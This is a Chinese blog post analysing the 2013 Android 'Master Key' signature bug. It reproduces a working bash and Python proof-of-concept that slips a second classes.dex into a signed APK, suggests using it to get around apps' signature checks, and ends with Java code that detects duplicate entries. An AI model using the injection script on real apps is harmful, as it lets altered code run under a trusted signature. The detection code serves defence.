【经典漏洞分析】Android签名漏洞-1

【漏洞分析】

看雪有个帖子分析得已经很透彻了:http://bbs.pediy.com/showthread.php?t=175129

这个漏洞本质是:Android安装文件的时候,在校验包的时候,没有考虑到重复打包的情况(同名文件的存在),因此对于校验签名部分就这么过了,而执行dex时候以第一个为准,因此可以利用其原始APK包的签名然后执行我们后加的破坏代码。

 

【漏洞演示】

这个漏洞的利用方式,这个帖子的PoC相对靠谱:https://github.com/poliva/random-scripts/blob/master/android/masterkey-apk-inject.sh

具体代码:

#!/bin/bash
# PoC for Android bug 8219321 by @pof
# +info: https://jira.cyanogenmod.org/browse/CYAN-1602

if [ $# != 2 ]; then echo "Usage: $0 <platform.apk> <inject.apk>" ; exit 1 ; fi

PLATFORM="$1"
INJECT="$2"

if [ ! -f "$PLATFORM" ]; then echo "ERROR: $PLATFORM does not exist" ; exit 1; fi
if [ ! -f "$INJECT" ]; then echo "ERROR: $INJECT does not exist" ; exit 1; fi

mkdir tmp
cd tmp
unzip ../$PLATFORM
cp ../$INJECT ./out.apk

cat >poc.py <<-EOF
#!/usr/bin/python
import zipfile 
import sys
z = zipfile.ZipFile(sys.argv[1], "a")
z.write(sys.argv[2])
z.close()
EOF
chmod 755 poc.py

for f in `find . -type f |sed -e "s:^\./::g" |egrep -v "(poc.py|out.apk)"` ; do "D:/Program Files/adt-bundle-windows-x86-20130729/sdk/build-tools/android-4.3/aapt.exe" add -v out.apk "$f" ; if [ $? != 0 ]; then ./poc.py out.apk "$f" ; fi ; done

SN=`openssl pkcs7 -inform DER -in META-INF/*.RSA -noout -print_certs -text |grep "Serial Number" |awk '{print $3}' |cut -f 1 -d "/"`
CN=`openssl pkcs7 -inform DER -in META-INF/*.RSA -noout -print_certs -text |grep "Issuer:" |sed -e "s/ /\n/g" |grep "^CN=" |cut -f 1 -d "/" |sed -e "s/^CN=//g"`

cp out.apk ../evil-${SN}-${CN}-${PLATFORM}
cd ..
rm -rf tmp
echo "Modified APK: evil-${SN}-${CN}-${PLATFORM}"


红体下划线部分是我自己针对我本机上的cygwin改的,用这种方式制作出来的APK包,用WINZIP(不要用360压缩,不过我用的是Zipeg)打开效果如下:

这里之所以文件是一样的,是因为我打得这两个classes是直接复制的。

 

【漏洞利用】

这个漏洞其实现在虽然说被各大手机杀毒软件厂商所截杀,比如会对安装的APK进行严格校验查看其是否在ZIP格式中有重名的文件,但是还有有利用价值。

首先比如要逆向一款软件,如果对方有签名保护,甚至保护还是做到SO/BIN里面,而你又无法使用SmaliHook之类的手法进行常规破解,可以考虑下这个漏洞的利用:

选一个Android4.0的手机或者3.X的模拟器,保证测试环境可以利用这种漏洞(无安全软件,版本支持),然后把你需要的APK进行拆解并添加自己想加的代码,这样利用PYTHON打包之后,我们执行的就是你修改的dex且不涉及到更改签名以及面对复杂的签名自校验保护重打包了。

虽然这个不能用于做坏事,但是对于逆向分析来说,绝对是一个天大的漏洞,我想这种情况会长期持续一段时间的。

 

【解决方案】

(逆向)参考网秦安全的专杀代码,修改检查ZIP里面双classes情况:

    public boolean testDupClass()
    {
      int i = 0;
      try
      {
        Enumeration localEnumeration = new ZipFile(getApplicationContext().getPackageCodePath()).getEntries();
        while (localEnumeration.hasMoreElements())
        {
          String pathPath = ((ZipArchiveEntry)localEnumeration.nextElement()).getName();
          Log.i("[INFO]",pathPath);
          if (pathPath.equals("classes.dex"))
          {
            i++;
            if (i == 2)
            {
              Log.w("[WARNING]","dupdex");
              Toast.makeText(getApplicationContext(), "Dup Classes Warning",Toast.LENGTH_SHORT).show();
              return true;
            }
          }
        }
      }
      catch (IOException localIOException)
      {
        localIOException.printStackTrace();
      }

 

这里得说一下,Android JAVA提供的ZipEntry是不行的,不能解析出2个ZIP的情况(或许360压缩也是这么做的),需要用org.apache.commons.compress提供的包(源码可下载)

 

posted on 2013-10-09 17:58  堕落华为人  阅读(1806)  评论(0编辑  收藏  举报

导航